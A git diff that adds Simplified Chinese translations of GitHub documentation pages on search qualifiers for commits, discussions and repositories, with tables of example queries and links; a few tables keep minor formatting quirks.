-| <code>committer-date:<em>YYYY-MM-DD</em></code> | [**committer-date:&gt;2016-01-01**](https://github.com/search?q=committer-date%3A>2016-01-01&type=Commits) matches commits committed after 2016-01-01.
+| 限定符                       | 示例                                                                                                                                    |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>author-date:<em>YYYY-MM-DD</em></code> | [**author-date:&lt;2016-01-01**](https://github.com/search?q=author-date%3A<2016-01-01&type=Commits) 匹配 2016-01-01 之前创作的提交。     |
+| <code>committer-date:<em>YYYY-MM-DD</em></code> | [**committer-date:&gt;2016-01-01**](https://github.com/search?q=committer-date%3A>2016-01-01&type=Commits) 匹配 2016-01-01 之后的提交。 |
 
-## Filter merge commits
+## 过滤合并提交
 
-The `merge` qualifier filters merge commits.
+`merge` 限定符过滤合并提交。
 
-| Qualifier  | Example
-| ------------- | -------------
-| `merge:true` | [**merge:true**](https://github.com/search?q=merge%3Atrue&type=Commits) matches merge commits.
-| `merge:false` | [**merge:false**](https://github.com/search?q=merge%3Afalse&type=Commits) matches non-merge commits.
+| 限定符           | 示例                                                                                 |
+| ------------- | ---------------------------------------------------------------------------------- |
+| `merge:true`  | [**merge:true**](https://github.com/search?q=merge%3Atrue&type=Commits) 匹配合并提交。    |
+| `merge:false` | [**merge:false**](https://github.com/search?q=merge%3Afalse&type=Commits) 匹配非合并提交。 |
 
-## Search by hash
+## 按哈希搜索
 
-The `hash` qualifier matches commits with the specified SHA-1 hash.
+`hash` 限定符匹配具有指定 SHA-1 哈希的提交。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>hash:<em>HASH</em></code> | [**hash:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=hash%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits) matches commits with the hash `124a9a0ee1d8f1e15e833aff432fbb3b02632105`.
+| 限定符                       | 示例                                                                                                                                                                                                                    |
+| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>hash:<em>HASH</em></code> | [**hash:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=hash%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits) 匹配具有哈希 `124a9a0ee1d8f1e15e833aff432fbb3b02632105` 的提交。 |
 
-## Search by parent
+## 按父项搜索
 
-The `parent` qualifier matches commits whose parent has the specified SHA-1 hash.
+`parent` 限定符匹配其父项具有指定 SHA-1 哈希的提交。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>parent:<em>HASH</em></code> | [**parent:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=parent%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits&utf8=%E2%9C%93) matches children of commits with the hash `124a9a0ee1d8f1e15e833aff432fbb3b02632105`.
+| 限定符                       | 示例                                                                                                                                                                                                                                          |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>parent:<em>HASH</em></code> | [**parent:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=parent%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits&utf8=%E2%9C%93) 匹配具有哈希 `124a9a0ee1d8f1e15e833aff432fbb3b02632105` 的提交的子项。 |
 
-## Search by tree
+## 按树搜索
 
-The `tree` qualifier matches commits with the specified SHA-1 git tree hash.
+`tree` 限定符匹配具有指定 SHA-1 git 树哈希的提交。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>tree:<em>HASH</em></code> | [**tree:99ca967**](https://github.com/github/gitignore/search?q=tree%3A99ca967&type=Commits) matches commits that refer to the tree hash `99ca967`.
+| 限定符                        | 示例                                                                                                                  |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------- |
+| <code>tree:<em>HASH</em></code> | [**tree:99ca967**](https://github.com/github/gitignore/search?q=tree%3A99ca967&type=Commits) 匹配引用树哈希 `99ca967` 的提交。 |
 
-## Search within a user's or organization's repositories
+## 在用户或组织的仓库内搜索
 
-To search commits in all repositories owned by a certain user or organization, use the `user` or `org` qualifier. To search commits in a specific repository, use the `repo` qualifier.
+要在特定用户或组织拥有的所有仓库中搜索提交，请使用 `user` 或 `org` 限定符。 要在特定仓库中搜索提交，请使用 `repo` 限定符。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>user:<em>USERNAME</em></code> | [**gibberish user:defunkt**](https://github.com/search?q=gibberish+user%3Adefunkt&type=Commits&utf8=%E2%9C%93) matches commit messages with the word "gibberish" in repositories owned by @defunkt.
-| <code>org:<em>ORGNAME</em></code> | [**test org:github**](https://github.com/search?utf8=%E2%9C%93&q=test+org%3Agithub&type=Commits) matches commit messages with the word "test" in repositories owned by @github.
-| <code>repo:<em>USERNAME/REPO</em></code> | [**language repo:defunkt/gibberish**](https://github.com/search?utf8=%E2%9C%93&q=language+repo%3Adefunkt%2Fgibberish&type=Commits) matches commit messages with the word "language" in @defunkt's "gibberish" repository.
+| 限定符                        | 示例                                                                                                                                                                                     |
+| -------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>user:<em>USERNAME</em></code> | [**gibberish user:defunkt**](https://github.com/search?q=gibberish+user%3Adefunkt&type=Commits&utf8=%E2%9C%93) 匹配 @defunkt 拥有的仓库中含有 "gibberish" 字样的提交消息。                               |
+| <code>org:<em>ORGNAME</em></code> | [**test org:github**](https://github.com/search?utf8=%E2%9C%93&q=test+org%3Agithub&type=Commits) 匹配 @github 拥有的仓库中含有 "test" 字样的提交消息。                                                   |
+| <code>repo:<em>USERNAME/REPO</em></code> | [**language repo:defunkt/gibberish**](https://github.com/search?utf8=%E2%9C%93&q=language+repo%3Adefunkt%2Fgibberish&type=Commits) 匹配 @defunkt 的 "gibberish" 仓库中含有 "language" 字样的提交消息。 |
 
-## Filter by repository visibility
+## 按仓库可见性过滤
 
-The `is` qualifier matches commits from repositories with the specified visibility. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
+`is` 限定符匹配具有指定可见性的仓库中的提交。 更多信息请参阅“[关于仓库](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)”。
 
-| Qualifier  | Example
-| ------------- | ------------- |
+| 限定符 | 示例 |
+| --- | -- |
+|     |    |
 {%- ifversion fpt or ghes or ghec %}
 | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Commits) matches commits to public repositories.
 {%- endif %}
 {%- ifversion ghes or ghec or ghae %}
 | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Commits) matches commits to internal repositories.
 {%- endif %}
-| `is:private` | [**is:private**](https://github.com/search?q=is%3Aprivate&type=Commits) matches commits to private repositories.
+| `is:private` | [**is:private**](https://github.com/search?q=is%3Aprivate&type=Commits) 匹配对私有仓库的提交。
 
-## Further reading
+## 延伸阅读
 
-- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)"
+- “[排序搜索结果](/search-github/getting-started-with-searching-on-github/sorting-search-results/)”
diff --git a/translations/zh-CN/content/search-github/searching-on-github/searching-discussions.md b/translations/zh-CN/content/search-github/searching-on-github/searching-discussions.md
index dfd0e87b86..a64e516719 100644
--- a/translations/zh-CN/content/search-github/searching-on-github/searching-discussions.md
+++ b/translations/zh-CN/content/search-github/searching-on-github/searching-discussions.md
@@ -1,6 +1,6 @@
 ---
-title: Searching discussions
-intro: 'You can search for discussions on {% data variables.product.product_name %} and narrow the results using search qualifiers.'
+title: 搜索讨论
+intro: '您可以在 {% data variables.product.product_name %} 上搜索讨论，并使用搜索限定符缩小结果范围。'
 versions:
   fpt: '*'
   ghec: '*'
@@ -11,108 +11,104 @@ redirect_from:
   - /github/searching-for-information-on-github/searching-on-github/searching-discussions
 ---
 
-## About searching for discussions
+## 关于搜索讨论
 
-You can search for discussions globally across all of {% data variables.product.product_name %}, or search for discussions within a particular organization or repository. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/about-searching-on-github)."
+您可以在所有 {% data variables.product.product_name %} 中全局搜索讨论，也可以在特定组织或仓库内搜索讨论。 更多信息请参阅“[关于在 {% data variables.product.prodname_dotcom %} 上搜索](/github/searching-for-information-on-github/about-searching-on-github)”。
 
 {% data reusables.search.syntax_tips %}
 
-## Search by the title, body, or comments
+## 按标题、正文或评论搜索
 
-With the `in` qualifier you can restrict your search for discussions to the title, body, or comments. You can also combine qualifiers to search a combination of title, body, or comments. When you omit the `in` qualifier, {% data variables.product.product_name %} searches the title, body, and comments.
+使用 `in` 限定符可将讨论搜索范围限制在标题、正文或注释中。 您还可以组合限定符来搜索标题、正文或注释的组合。 省略 `in` 限定符时，{% data variables.product.product_name %} 将搜索标题、正文和注释。
 
-| Qualifier | Example |
-| :- | :- |
-| `in:title` | [**welcome in:title**](https://github.com/search?q=welcome+in%3Atitle&type=Discussions) matches discussions with "welcome" in the title. |
-| `in:body` | [**onboard in:title,body**](https://github.com/search?q=onboard+in%3Atitle%2Cbody&type=Discussions) matches discussions with "onboard" in the title or body. |
-| `in:comments` | [**thanks in:comments**](https://github.com/search?q=thanks+in%3Acomment&type=Discussions) matches discussions with "thanks" in the comments for the discussion. |
+| 限定符           | 示例                                                                                                                            |
+|:------------- |:----------------------------------------------------------------------------------------------------------------------------- |
+| `in:title`    | [**welcome in:title**](https://github.com/search?q=welcome+in%3Atitle&type=Discussions) 匹配标题中含有 "welcome" 的讨论。                |
+| `in:body`     | [**onboard in:title,body**](https://github.com/search?q=onboard+in%3Atitle%2Cbody&type=Discussions) 匹配标题或正文中含有 "onboard" 的讨论。 |
+| `in:comments` | [**thanks in:comments**](https://github.com/search?q=thanks+in%3Acomment&type=Discussions) 匹配讨论注释中含有 "thanks" 的讨论。            |
 
-## Search within a user's or organization's repositories
+## 在用户或组织的仓库内搜索
 
-To search discussions in all repositories owned by a certain user or organization, you can use the  `user` or `org` qualifier. To search discussions in a specific repository, you can use the `repo` qualifier.
+要在特定用户或组织拥有的所有仓库中搜索讨论，您可以使用 `user` 或 `org` 限定符。 要在特定仓库中搜索讨论，您可以使用 `repo` 限定符。
 
-| Qualifier | Example |
-| :- | :- |
-| <code>user:<em>USERNAME</em></code> | [**user:octocat feedback**](https://github.com/search?q=user%3Aoctocat+feedback&type=Discussions) matches discussions with the word "feedback" from repositories owned by @octocat. |
-| <code>org:<em>ORGNAME</em></code> | [**org:github**](https://github.com/search?q=org%3Agithub&type=Discussions&utf8=%E2%9C%93) matches discussions in repositories owned by the GitHub organization. |
-| <code>repo:<em>USERNAME/REPOSITORY</em></code> | [**repo:nodejs/node created:<2021-01-01**](https://github.com/search?q=repo%3Anodejs%2Fnode+created%3A%3C2020-01-01&type=Discussions) matches discussions from @nodejs' Node.js runtime project that were created before January 2021. |
+| 限定符                       | 示例                                                                                                                                                                                   |
+|:------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code>user:<em>USERNAME</em></code> | [**user:octocat feedback**](https://github.com/search?q=user%3Aoctocat+feedback&type=Discussions) 匹配 @octocat 拥有的仓库中含有单词 "feedback" 的讨论。                                             |
+| <code>org:<em>ORGNAME</em></code> | [**org:github**](https://github.com/search?q=org%3Agithub&type=Discussions&utf8=%E2%9C%93) 匹配 GitHub 组织拥有的仓库中的讨论。                                                                    |
+| <code>repo:<em>USERNAME/REPOSITORY</em></code> | [**repo:nodejs/node created:<2021-01-01**](https://github.com/search?q=repo%3Anodejs%2Fnode+created%3A%3C2020-01-01&type=Discussions) 匹配 @nodejs' Node.js 运行时项目中在 2021 年 1 月之前创建的讨论。 |
 
-## Filter by repository visibility
+## 按仓库可见性过滤
 
-You can filter by the visibility of the repository containing the discussions using the `is` qualifier. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
+您可以使用 `is` 限定符，按包含讨论的仓库的可见性进行过滤。 更多信息请参阅“[关于仓库](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)”。
 
-| Qualifier  | Example
-| :- | :- |{% ifversion fpt or ghes or ghec %}
-| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Discussions) matches discussions in public repositories.{% endif %}{% ifversion ghec %}
-| `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Discussions) matches discussions in internal repositories.{% endif %}
-| `is:private` | [**is:private tiramisu**](https://github.com/search?q=is%3Aprivate+tiramisu&type=Discussions) matches discussions that contain the word "tiramisu" in private repositories you can access.
+| Qualifier  | Example | :- | :- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Discussions) matches discussions in public repositories.{% endif %}{% ifversion ghec %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Discussions) matches discussions in internal repositories.{% endif %} | `is:private` | [**is:private tiramisu**](https://github.com/search?q=is%3Aprivate+tiramisu&type=Discussions) matches discussions that contain the word "tiramisu" in private repositories you can access.
 
-## Search by author
+## 按作者搜索
 
-The `author` qualifier finds discussions created by a certain user.
+`author` 限定符查找由特定用户创建的讨论。
 
-| Qualifier | Example |
-| :- | :- |
-| <code>author:<em>USERNAME</em></code> | [**cool author:octocat**](https://github.com/search?q=cool+author%3Aoctocat&type=Discussions) matches discussions with the word "cool" that were created by @octocat. |
-| | [**bootstrap in:body author:octocat**](https://github.com/search?q=bootstrap+in%3Abody+author%3Aoctocat&type=Discussions) matches discussions created by @octocat that contain the word "bootstrap" in the body. |
+| 限定符                       | 示例                                                                                                                                                                 |
+|:------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code>author:<em>USERNAME</em></code> | [**cool author:octocat**](https://github.com/search?q=cool+author%3Aoctocat&type=Discussions) 匹配由 @octocat 创建的含有单词 "cool" 的讨论。                                     |
+|                           | [**bootstrap in:body author:octocat**](https://github.com/search?q=bootstrap+in%3Abody+author%3Aoctocat&type=Discussions) 匹配由 @octocat 创建的正文中含有单词 "bootstrap" 的讨论。 |
 
-## Search by commenter
+## 按评论者搜索
 
-The `commenter` qualifier finds discussions that contain a comment from a certain user.
+`commenter` 限定符查找含有特定用户评论的讨论。
 
-| Qualifier | Example |
-| :- | :- |
-| <code>commenter:<em>USERNAME</em></code> | [**github commenter:becca org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Abecca+org%3Agithub&type=Discussions) matches discussions in repositories owned by GitHub, that contain the word "github," and have a comment by @becca.
+| 限定符                       | 示例                                                                                                                                                                                         |
+|:------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code>commenter:<em>USERNAME</em></code> | [**github commenter:becca org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Abecca+org%3Agithub&type=Discussions) 匹配 GitHub 拥有的仓库中含有单词 "github" 并且由 @becca 评论的讨论。 |
 
-## Search by a user that's involved in a discussion
+## 按涉及讨论的用户搜索
 
-You can use the `involves` qualifier to find discussions that involve a certain user. The qualifier returns discussions that were either created by a certain user, mention the user, or contain comments by the user. The `involves` qualifier is a logical OR between the `author`, `mentions`, and `commenter` qualifiers for a single user.
+您可以使用 `involves` 限定符查找涉及特定用户的讨论。 该限定符返回由特定用户创建、提及该用户或包含该用户评论的讨论。 `involves` 限定符是单一用户 `author`、`mentions` 和 `commenter` 限定符之间的逻辑 OR（或）。
 
-| Qualifier | Example |
-| :- | :- |
-| <code>involves:<em>USERNAME</em></code> | **[involves:becca involves:octocat](https://github.com/search?q=involves%3Abecca+involves%3Aoctocat&type=Discussions)** matches discussions either @becca or @octocat are involved in.
-| | [**NOT beta in:body involves:becca**](https://github.com/search?q=NOT+beta+in%3Abody+involves%3Abecca&type=Discussions) matches discussions @becca is involved in that do not contain the word "beta" in the body.
+| 限定符                       | 示例                                                                                                                                                        |
+|:------------------------- |:--------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>involves:<em>USERNAME</em></code> | **[involves:becca involves:octocat](https://github.com/search?q=involves%3Abecca+involves%3Aoctocat&type=Discussions)** 匹配涉及 @becca 或 @octocat 的讨论。       |
+|                           | [**NOT beta in:body involves:becca**](https://github.com/search?q=NOT+beta+in%3Abody+involves%3Abecca&type=Discussions) 匹配涉及 @becca 且正文中不包含单词 "beta" 的讨论。 |
 
-## Search by number of comments
+## 按评论数量搜索
 
-You can use the `comments` qualifier along with greater than, less than, and range qualifiers to search by the number of comments. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+您可以使用 `comments` 限定符以及大于、小于和范围限定符以按评论数量搜索。 更多信息请参阅“[了解搜索语法](/github/searching-for-information-on-github/understanding-the-search-syntax)”。
 
-| Qualifier | Example |
-| :- | :- |
-| <code>comments:<em>n</em></code> | [**comments:&gt;100**](https://github.com/search?q=comments%3A%3E100&type=Discussions) matches discussions with more than 100 comments.
-| | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Discussions) matches discussions with comments ranging from 500 to 1,000.
+| 限定符                       | 示例                                                                                                                   |
+|:------------------------- |:-------------------------------------------------------------------------------------------------------------------- |
+| <code>comments:<em>n</em></code> | [**comments:&gt;100**](https://github.com/search?q=comments%3A%3E100&type=Discussions) 匹配超过 100 条评论的讨论。        |
+|                           | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Discussions) 匹配具有 500 到 1,000 条评论的讨论。 |
 
-## Search by number of interactions
+## 按交互数量搜索
 
-You can filter discussions by the number of interactions with the `interactions` qualifier along with greater than, less than, and range qualifiers. The interactions count is the number of reactions and comments on a discussion. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+您可以使用 `interactions` 限定符以及大于、小于和范围限定符按交互数量过滤讨论。 交互数量是对讨论的反应和评论数量。 更多信息请参阅“[了解搜索语法](/github/searching-for-information-on-github/understanding-the-search-syntax)”。
 
-| Qualifier | Example |
-| :- | :- |
-| <code>interactions:<em>n</em></code> | [** interactions:&gt;2000**](https://github.com/search?q=interactions%3A%3E2000) matches discussions with more than 2,000 interactions.
-| | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) matches discussions with interactions ranging from 500 to 1,000.
+| 限定符                       | 示例                                                                                                            |
+|:------------------------- |:------------------------------------------------------------------------------------------------------------- |
+| <code>interactions:<em>n</em></code> | [** interactions:&gt;2000**](https://github.com/search?q=interactions%3A%3E2000) 匹配超过 2,000 个交互的讨论。 |
+|                           | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) 匹配 500 至 1,000 个交互的讨论。     |
 
-## Search by number of reactions
+## 按反应数量搜索
 
-You can filter discussions by the number of reactions using the `reactions` qualifier along with greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+您可以使用 `reactions` 限定符以及大于、小于和范围限定符按反应数量过滤讨论。 更多信息请参阅“[了解搜索语法](/github/searching-for-information-on-github/understanding-the-search-syntax)”。
 
-| Qualifier | Example |
-| :- | :- |
-| <code>reactions:<em>n</em></code> | [** reactions:&gt;1000**](https://github.com/search?q=reactions%3A%3E500) matches discussions with more than 500 reactions.
-| | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) matches discussions with reactions ranging from 500 to 1,000.
+| 限定符                       | 示例                                                                                                   |
+|:------------------------- |:---------------------------------------------------------------------------------------------------- |
+| <code>reactions:<em>n</em></code> | [** reactions:&gt;1000**](https://github.com/search?q=reactions%3A%3E500) 匹配超过 500 个反应的讨论。 |
+|                           | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) 匹配 500 至 1,000 个反应的讨论。  |
 
-## Search by when a discussion was created or last updated
+## 按讨论创建或上次更新时间搜索
 
-You can filter discussions based on times of creation, or when the discussion was last updated. For discussion creation, you can use the `created` qualifier; to find out when an discussion was last updated, use the `updated` qualifier.
+您可以基于创建时间或上次更新时间过滤讨论。 对于讨论创建，您可以使用 `created` 限定符；要了解讨论上次更新的时间，请使用 `updated` 限定符。
 
-Both qualifiers take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+两个限定符都使用日期作为参数。 {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
 
 {% data reusables.search.date_gt_lt %}
 
-| Qualifier | Example |
-| :- | :- |
-| <code>created:<em>YYYY-MM-DD</em></code> | [**created:>2020-11-15**](https://github.com/search?q=created%3A%3E%3D2020-11-15&type=discussions) matches discussions that were created after November 15, 2020.
-| <code>updated:<em>YYYY-MM-DD</em></code> | [**weird in:body updated:>=2020-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2020-12-01&type=Discussions) matches discussions with the word "weird" in the body that were updated after December 2020.
+| 限定符                        | 示例                                                                                                                                                                        |
+|:-------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>created:<em>YYYY-MM-DD</em></code>  | [**created:>2020-11-15**](https://github.com/search?q=created%3A%3E%3D2020-11-15&type=discussions) 匹配 2020 年 11 月 15 日之后创建的讨论。                                            |
+| <code>updated:<em>YYYY-MM-DD</em></code> | [**weird in:body updated:>=2020-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2020-12-01&type=Discussions) 匹配 2020 年 12 月之后更新的正文中含有单词 "weird" 的讨论。 |
 
-## Further reading
+## 延伸阅读
 
-- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)"
+- “[排序搜索结果](/search-github/getting-started-with-searching-on-github/sorting-search-results/)”
diff --git a/translations/zh-CN/content/search-github/searching-on-github/searching-for-repositories.md b/translations/zh-CN/content/search-github/searching-on-github/searching-for-repositories.md
index f12649f07a..4cf28ebd0c 100644
--- a/translations/zh-CN/content/search-github/searching-on-github/searching-for-repositories.md
+++ b/translations/zh-CN/content/search-github/searching-on-github/searching-for-repositories.md
@@ -1,6 +1,6 @@
 ---
-title: Searching for repositories
-intro: 'You can search for repositories on {% data variables.product.product_name %} and narrow the results using these repository search qualifiers in any combination.'
+title: 搜索仓库
+intro: '您可以在 {% data variables.product.product_name %} 上搜索仓库，并使用这些仓库搜索限定符的任意组合缩小结果范围。'
 redirect_from:
   - /articles/searching-repositories
   - /articles/searching-for-repositories
@@ -13,193 +13,190 @@ versions:
   ghec: '*'
 topics:
   - GitHub search
-shortTitle: Search for repositories
+shortTitle: 搜索仓库
 ---
-You can search for repositories globally across all of {% data variables.product.product_location %}, or search for repositories within a particular organization. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)."
 
-To include forks in the search results, you will need to add `fork:true` or `fork:only` to your query. For more information, see "[Searching in forks](/search-github/searching-on-github/searching-in-forks)."
+您可以在所有 {% data variables.product.product_location %} 内全局搜索仓库，也可以在特定组织内搜索仓库。 更多信息请参阅“[关于在 {% data variables.product.prodname_dotcom %} 上搜索](/search-github/getting-started-with-searching-on-github/about-searching-on-github)”。
+
+要在搜索结果中包括复刻，您需要将 `fork:true` 或 `fork:only` 添加到查询。 更多信息请参阅“[在复刻中搜索](/search-github/searching-on-github/searching-in-forks)”。
 
 {% data reusables.search.syntax_tips %}
 
-## Search by repository name, description, or contents of the README file
+## 按仓库名称、说明或自述文件内容搜索
 
-With the `in` qualifier you can restrict your search to the repository name, repository description, contents of the README file, or any combination of these. When you omit this qualifier, only the repository name and description are searched.
+通过 `in` 限定符，您可以将搜索限制为仓库名称、仓库说明、自述文件内容或这些的任意组合。 如果省略此限定符，则只搜索仓库名称和说明。
 
-| Qualifier  | Example
-| ------------- | -------------
-| `in:name` | [**jquery in:name**](https://github.com/search?q=jquery+in%3Aname&type=Repositories) matches repositories with "jquery" in the repository name.
-| `in:description`  | [**jquery in:name,description**](https://github.com/search?q=jquery+in%3Aname%2Cdescription&type=Repositories) matches repositories with "jquery" in the repository name or description.
-| `in:readme` | [**jquery in:readme**](https://github.com/search?q=jquery+in%3Areadme&type=Repositories) matches repositories mentioning "jquery" in the repository's README file.
-| `repo:owner/name` | [**repo:octocat/hello-world**](https://github.com/search?q=repo%3Aoctocat%2Fhello-world) matches a specific repository name.
+| 限定符               | 示例                                                                                                                                        |
+| ----------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
+| `in:name`         | [**jquery in:name**](https://github.com/search?q=jquery+in%3Aname&type=Repositories) 匹配仓库名称中含有 "jquery" 的仓库。                              |
+| `in:description`  | [**jquery in:name,description**](https://github.com/search?q=jquery+in%3Aname%2Cdescription&type=Repositories) 匹配仓库名称或说明中含有 "jquery" 的仓库。 |
+| `in:readme`       | [**jquery in:readme**](https://github.com/search?q=jquery+in%3Areadme&type=Repositories) 匹配仓库自述文件中提及 "jquery" 的仓库。                        |
+| `repo:owner/name` | [**repo:octocat/hello-world**](https://github.com/search?q=repo%3Aoctocat%2Fhello-world) 匹配特定仓库名称。                                        |
 
-## Search based on the contents of a repository
+## 基于仓库的内容搜索
 
-You can find a repository by searching for content in the repository's README file using the `in:readme` qualifier. For more information, see "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)."
+您可以使用 `in:readme` 限定符，通过搜索仓库自述文件中的内容来查找仓库。 更多信息请参阅“[关于自述文件](/github/creating-cloning-and-archiving-repositories/about-readmes)”。
 
-Besides using `in:readme`, it's not possible to find repositories by searching for specific content within the repository. To search for a specific file or content within a repository, you can use the file finder or code-specific search qualifiers. For more information, see "[Finding files on {% data variables.product.prodname_dotcom %}](/search-github/searching-on-github/finding-files-on-github)" and "[Searching code](/search-github/searching-on-github/searching-code)."
+除了使用 `in:readme` 以外，无法通过搜索仓库内的特定内容来查找仓库。 要搜索仓库内的特定文件或内容，您可以使用查找器或代码特定的搜索限定符。 更多信息请参阅“[在 {% data variables.product.prodname_dotcom %} 上查找文件](/search-github/searching-on-github/finding-files-on-github)”和“[搜索代码](/search-github/searching-on-github/searching-code)”。
 
-| Qualifier  | Example
-| ------------- | -------------
-| `in:readme` | [**octocat in:readme**](https://github.com/search?q=octocat+in%3Areadme&type=Repositories) matches repositories mentioning "octocat" in the repository's README file.
+| 限定符         | 示例                                                                                                                    |
+| ----------- | --------------------------------------------------------------------------------------------------------------------- |
+| `in:readme` | [**octocat in:readme**](https://github.com/search?q=octocat+in%3Areadme&type=Repositories) 匹配仓库自述文件中提及 "octocat" 的仓库。 |
 
-## Search within a user's or organization's repositories
+## 在用户或组织的仓库内搜索
 
-To search in all repositories owned by a certain user or organization, you can use the  `user` or `org` qualifier.
+要在特定用户或组织拥有的所有仓库中搜索，您可以使用 `user` 或 `org` 限定符。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>user:<em>USERNAME</em></code> | [**user:defunkt forks:&gt;100**](https://github.com/search?q=user%3Adefunkt+forks%3A%3E%3D100&type=Repositories) matches repositories from @defunkt that have more than 100 forks.
-| <code>org:<em>ORGNAME</em></code> | [**org:github**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub&type=Repositories) matches repositories from GitHub.
+| 限定符                       | 示例                                                                                                                                                   |
+| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>user:<em>USERNAME</em></code> | [**user:defunkt forks:&gt;100**](https://github.com/search?q=user%3Adefunkt+forks%3A%3E%3D100&type=Repositories) 匹配来自 @defunkt、拥有超过 100 复刻的仓库。 |
+| <code>org:<em>ORGNAME</em></code> | [**org:github**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub&type=Repositories) 匹配来自 GitHub 的仓库。                                         |
 
-## Search by repository size
+## 按仓库大小搜索
 
-The `size` qualifier finds repositories that match a certain size (in kilobytes), using greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+`size` 限定符使用大于、小于和范围限定符查找匹配特定大小（以千字节为单位）的仓库。 更多信息请参阅“[了解搜索语法](/github/searching-for-information-on-github/understanding-the-search-syntax)”。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>size:<em>n</em></code> | [**size:1000**](https://github.com/search?q=size%3A1000&type=Repositories) matches repositories that are 1 MB exactly.
-| | [**size:&gt;=30000**](https://github.com/search?q=size%3A%3E%3D30000&type=Repositories) matches repositories that are at least 30 MB.
-| | [**size:&lt;50**](https://github.com/search?q=size%3A%3C50&type=Repositories) matches repositories that are smaller than 50 KB.
-| | [**size:50..120**](https://github.com/search?q=size%3A50..120&type=Repositories) matches repositories that are between 50 KB and 120 KB.
+| 限定符                       | 示例                                                                                                             |
+| ------------------------- | -------------------------------------------------------------------------------------------------------------- |
+| <code>size:<em>n</em></code> | [**size:1000**](https://github.com/search?q=size%3A1000&type=Repositories) 匹配恰好为 1 MB 的仓库。                     |
+|                           | [**size:&gt;=30000**](https://github.com/search?q=size%3A%3E%3D30000&type=Repositories) 匹配至少为 30 MB 的仓库。 |
+|                           | [**size:&lt;50**](https://github.com/search?q=size%3A%3C50&type=Repositories) 匹配小于 50 KB 的仓库。            |
+|                           | [**size:50..120**](https://github.com/search?q=size%3A50..120&type=Repositories) 匹配介于 50 KB 与 120 KB 之间的仓库。    |
 
-## Search by number of followers
+## 按关注者数量搜索
 
-You can filter repositories based on the number of users who follow the repositories, using the `followers` qualifier with greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+您可以使用 `followers` 限定符以及大于、小于和范围限定符，基于关注仓库的用户数量过滤仓库。 更多信息请参阅“[了解搜索语法](/github/searching-for-information-on-github/understanding-the-search-syntax)”。
 
-| Qualifier        | Example
-| ------------- | -------------
